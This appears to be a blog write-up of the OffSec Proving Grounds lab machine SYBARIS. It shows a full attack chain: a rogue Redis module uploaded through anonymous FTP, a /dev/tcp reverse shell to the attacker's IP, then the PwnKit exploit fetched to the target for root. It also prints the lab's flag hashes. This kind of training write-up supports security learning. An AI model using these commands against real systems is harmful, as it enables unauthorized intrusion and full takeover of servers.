Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - SYBARIS

·1959 words·10 mins·
OFFSEC PG PRACTICE FTP REDIS NXC PWNKIT
Table of Contents

Summary
#

On port 21 the FTP service allows for anonymous login and write capability. On port 6379 there is a Redis key-value store version 5.0.9 running for which a remote code execution exploit is available. Changing the exploit flow by uploading a Redis module via FTP and exploiting Redis manually gives initial access as the pablo user. Once on the target we find the target is vulnerable for pwnkit (CVE-2021-4034). This allows us to escalate our privileges to the root user.

Specifications
#

  • Name: SYBARIS
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux sybaris 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.168.93
  • OFFSEC provided credentials: None
  • HASH: local.txt:e784bf5d07a6969641098f3f309d8199
  • HASH: proof.txt:1666b1d571ef955dab5f95f479788dc8

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir sybaris && cd sybaris && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Oct 10 06:16 .
drwxrwxr-x 86 kali kali 4096 Oct 10 06:16 ..
drwxrwxr-x  2 kali kali 4096 Oct 10 06:16 enum
drwxrwxr-x  2 kali kali 4096 Oct 10 06:16 exploits
drwxrwxr-x  2 kali kali 4096 Oct 10 06:16 files
drwxrwxr-x  2 kali kali 4096 Oct 10 06:16 tools
drwxrwxr-x  2 kali kali 4096 Oct 10 06:16 uploads

## set bash variable
ip=192.168.168.93

## ping target to check if it's online
ping $ip

PING 192.168.168.93 (192.168.168.93) 56(84) bytes of data.
64 bytes from 192.168.168.93: icmp_seq=1 ttl=61 time=19.0 ms
64 bytes from 192.168.168.93: icmp_seq=2 ttl=61 time=18.4 ms
^C
--- 192.168.168.93 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.409/18.712/19.015/0.303 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned my computer so many times, it thinks we're dating.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.168.93:21
Open 192.168.168.93:22
Open 192.168.168.93:80
Open 192.168.168.93:6379
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 06:20 CEST
Initiating Ping Scan at 06:20
Scanning 192.168.168.93 [4 ports]
Completed Ping Scan at 06:20, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:20
Completed Parallel DNS resolution of 1 host. at 06:20, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 06:20
Scanning 192.168.168.93 [4 ports]
Discovered open port 21/tcp on 192.168.168.93
Discovered open port 80/tcp on 192.168.168.93
Discovered open port 22/tcp on 192.168.168.93
Discovered open port 6379/tcp on 192.168.168.93
Completed SYN Stealth Scan at 06:20, 0.06s elapsed (4 total ports)
Nmap scan report for 192.168.168.93
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-10-10 06:20:44 CEST for 0s

PORT     STATE SERVICE REASON
21/tcp   open  ftp     syn-ack ttl 61
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
6379/tcp open  redis   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp   open  ftp     syn-ack ttl 61
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
6379/tcp open  redis   syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
21,22,80,6379

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,6379 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
21/tcp   open  ftp     syn-ack ttl 61 vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.154
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0               6 Apr 01  2020 pub [NSE: writeable]
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 21:94:de:d3:69:64:a8:4d:a8:f0:b5:0a:ea:bd:02:ad (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoWnaSOW2cc+sYUe6aqQSPWY9e9OWgerEomQZv6FujchbKcxcm6sPRTZJnGrPsDum5vx7otZDGG9Vc55NByLaLU9WoQTLPhnepGTMzbbg9DyIDR9HXFw3fX0s+vSvjvDo/Cz19gWKTB2lBfJgPa239Hp0NmaxOAXmJ+d+oUEmnhLmZ1wAQFvJ/9Ta2zt8q6KOvjykUcISuFwr741HwcudFS4Z84LsO+WbcIGtkTELLn9yFc3KiZraJYNi72rOKsxHip/98js8nEIsryRfo6sZexu4lxT5SchvDNQCirLSHsEIFyzde5Ym5FDf4hb831SwJqFg7qDO+wDT1/oZp/dnP
|   256 67:42:45:19:8b:f5:f9:a5:a4:cf:fb:87:48:a2:66:d0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLoSyEH4GdzHPYxZPUgKP068JBcpx5KSL1KzaMRo9xP4ai5QKUKJ+H2xu8atQdvkE0ul6GnDPVlZ5Flf/npwYWY=
|   256 f3:e2:29:a3:41:1e:76:1e:b1:b7:46:dc:0b:b9:91:77 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH4F/u2LLgVpGw2tr0bpe0MgbiV36HAzwcu5HqcuShJd
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-favicon: Unknown favicon MD5: A4DA8778FE902EB34FD9A5D4C0A832E1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET POST
|_http-generator: HTMLy v2.7.5
|_http-title: Sybaris - Just another HTMLy blog
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.22
| http-robots.txt: 11 disallowed entries 
| /config/ /system/ /themes/ /vendor/ /cache/ 
| /changelog.txt /composer.json /composer.lock /composer.phar /search/ 
|_/admin/
6379/tcp open  redis   syn-ack ttl 61 Redis key-value store 5.0.9
Service Info: OS: Unix

Initial Access
#

21/tcp   open  ftp     syn-ack ttl 61 vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.154
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0               6 Apr 01  2020 pub [NSE: writeable]

6379/tcp open  redis   syn-ack ttl 61 Redis key-value store 5.0.9

On port 21 there is an FTP service available that, according to NMAP, allows for anonymous login. Using nxc we can test this and list the current directory. This shows anonymous login is allowed and the current directory is named pub. It also shows we can write to this directory.

## use `nxc` to list directory
nxc ftp $ip -u 'anonymous' -p 'anonymous' --ls    
FTP         192.168.168.93  21     192.168.168.93   [+] anonymous:anonymous - Anonymous Login!
FTP         192.168.168.93  21     192.168.168.93   [*] Directory Listing
FTP         192.168.168.93  21     192.168.168.93   drwxrwxrwx    2 0        0               6 Apr 01  2020 pub

On port 6379, there is a Redis key-value store version 5.0.9 running. Searching online we can find: https://github.com/n0b0dyCN/redis-rogue-server, however the standard running of this exploit didn’t work. But, we can download the exp.so file (Redis module to load) and do this manually, because we’re able to write to the target using FTP. So, log into the FTP service using anonymous credentials: (anonymous:anonymous) and upload the exp.so file.

## change directory
cd uploads

## download the `exp.so` file and move file locally (Redis module to load)
mv ~/Downloads/exp.so .

## log into FTP service with `anonymous:anonymous`
ftp anonymous@$ip
Connected to 192.168.168.93.
220 (vsFTPd 3.0.2)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

## list content
ftp> ls
229 Entering Extended Passive Mode (|||10100|).
150 Here comes the directory listing.
drwxrwxrwx    2 0        0               6 Apr 01  2020 pub
226 Directory send OK.

## change directory
ftp> cd pub
250 Directory successfully changed.

## upload `exp.so`
ftp> put exp.so
local: exp.so remote: exp.so
229 Entering Extended Passive Mode (|||10098|).
150 Ok to send data.
100% |*******************************************************************| 44320        2.16 MiB/s    00:00 ETA
226 Transfer complete.
44320 bytes sent in 00:00 (534.65 KiB/s)

## exit ftp service
ftp> exit
221 Goodbye.

Now that the exp.so is on the target we can load this module into Redis and get initial access as the pablo user in the / directory.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154

## setup a listener on an already open port
nc -lvnp 80                                    
listening on [any] 80 ...

## connect to redis server
redis-cli -h $ip
192.168.168.93:6379>

## load the `exp.so` module
192.168.168.93:6379> module load /var/ftp/pub/exp.so
OK

## send reverse shell command
192.168.168.93:6379> system.exec "/bin/sh -i >& /dev/tcp/192.168.45.154/80 0>&1"

## catch the reverse shell
nc -lvnp 80                                    
listening on [any] 80 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.168.93] 42148
sh: no job control in this shell
sh-4.2$ 

## print current user
sh-4.2$ whoami
whoami
pablo

## print current working directory
sh-4.2$ pwd
pwd
/

## find `local.txt` on the filesystem
sh-4.2$ find / -iname 'local.txt' 2>/dev/null       
/home/pablo/local.txt

## print `local.txt`
sh-4.2$ cat /home/pablo/local.txt
e784bf5d07a6969641098f3f309d8199

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the python binary.

## determine location python binary
which python
/usr/bin/python

## start the python binary, after that press CTRL+Z
python -c 'import pty; pty.spawn("/bin/bash")'

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
[pablo@sybaris /]$ cd /var/tmp
[pablo@sybaris tmp]$

## download `linpeas.sh`
[pablo@sybaris tmp]$ wget http://192.168.45.154/linpeas.sh
--2025-10-10 00:42:15--  http://192.168.45.154/linpeas.sh
Connecting to 192.168.45.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 971820 (949K) [text/x-sh]
Saving to: ‘linpeas.sh’

 0% [                                                                                                           29% [==============================================>                                                            60% [==============================================================================================>            98% [===========================================================================================================100%[==============================================================================================================================================================>] 971,820     1.51MB/s   in 0.6s   

2025-10-10 00:42:15 (1.51 MB/s) - ‘linpeas.sh’ saved [971820/971820]

## set the execution bit
[pablo@sybaris tmp]$ chmod +x linpeas.sh 

## run `linpeas.sh`
[pablo@sybaris tmp]$ ./linpeas.sh

The linpeas.sh output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit (https://github.com/ly4k/PwnKit), upload to the target and run it to escalate our privileges to the root user.

## change directory
cd uploads

## download exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154

## setup a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target:
## download exploit
[pablo@sybaris tmp]$ wget http://192.168.45.154/pwnkit
--2025-10-10 00:46:42--  http://192.168.45.154/pwnkit
Connecting to 192.168.45.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit’

 0% [                                                                                                           100%[==============================================================================================================================================================>] 18,040      --.-K/s   in 0.02s   

2025-10-10 00:46:42 (774 KB/s) - ‘pwnkit’ saved [18040/18040]

## set execution bit on `pwnkit`
[pablo@sybaris tmp]$ chmod +x pwnkit 

## execute `pwnkit`
[pablo@sybaris tmp]$ ./pwnkit 
[root@sybaris tmp]#

## print `proof.txt`
[root@sybaris tmp]# cat /root/proof.txt
1666b1d571ef955dab5f95f479788dc8

References
#

[+] https://github.com/n0b0dyCN/redis-rogue-server
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://github.com/ly4k/PwnKit
[+] https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit

Related

OFFSEC - Proving Grounds - BLACKGATE
·1478 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.
OFFSEC - Proving Grounds - SPLODGE
·2019 words·10 mins
OFFSEC PG PRACTICE GIT GIT-DUMPER PYTHON_VIRTUAL_ENVIRONMENT PREG_REPLACE PWNKIT
Git repository on port 80 yields password via git-dumper. Login to admin panel on 8080, exploit preg_replace for initial access. Use pwnkit (CVE-2021-4034) to get root.
OFFSEC - Proving Grounds - BUNYIP
·3095 words·15 mins
OFFSEC PG PRACTICE PWNKIT
S3cur3 r3pl application on port 8000 is vulnerable to MD5 length extension, exploiting this gives initial access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.
OFFSEC - Proving Grounds - DEPLOYER
·3782 words·18 mins
OFFSEC PG PRACTICE FTP PHP PHP SERIALIZE DOCKER DOCKER BUILD
Anonymous FTP on port 21 gives site config and PHP code. Exploit LFI, drop PHP shell, gain initial access. Upload SSH key, use sudo docker build to get /opt/id_rsa.bak and escalate to root.
OFFSEC - Proving Grounds - PEPPO
·1634 words·8 mins
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Ident on port 113 reveals process owner eleanor on port 10000. SSH access via weak credentials to get initial access in rbash, escape rbash using ed, set PATH and exploit pwnkit (CVE-2021-4034) to gain root.